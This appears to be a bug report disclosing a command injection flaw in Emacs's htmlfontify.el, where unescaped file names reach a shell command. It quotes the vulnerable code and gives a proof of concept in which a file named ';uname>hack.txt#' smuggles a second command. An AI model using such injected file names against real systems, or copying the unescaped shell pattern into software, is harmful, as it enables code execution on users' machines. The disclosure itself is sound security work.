Test information:
Emacs version: GNU Emacs 29.0.60
OS: Fedora Linux 37

htmlfontify.el has a command injection vulnerability:

(defcustom hfy-istext-command "file %s | sed -e 's@^[^:]*:[ \t]*@@'"
  :tag   "istext-command"
  :type  '(string))

(defun hfy-text-p (srcdir file)
  (let* ((cmd (format hfy-istext-command (expand-file-name file
srcdir))) (rsp (shell-command-to-string    cmd)))
    ...))

Parameter 'file' and parameter 'srcdir' come from external input, and 
parameters are not escape. So, if file name or directory name contains
shell characters and will be executed.

For example:

$ mkdir vul_test
$ cd vul_test
$ echo hello > ";uname>hack.txt#"
$ ls
;uname>hack.txt#

In Emacs, type M-x htmlfontify-copy-and-link-dir, and inputing vul_test
path, at this time, hack.txt is added to the vul_test directory:

$ ls
;uname>hack.txt#  hack.txt#
$ cat hack.txt\#
Linux

The attachment is the patch file, thanks.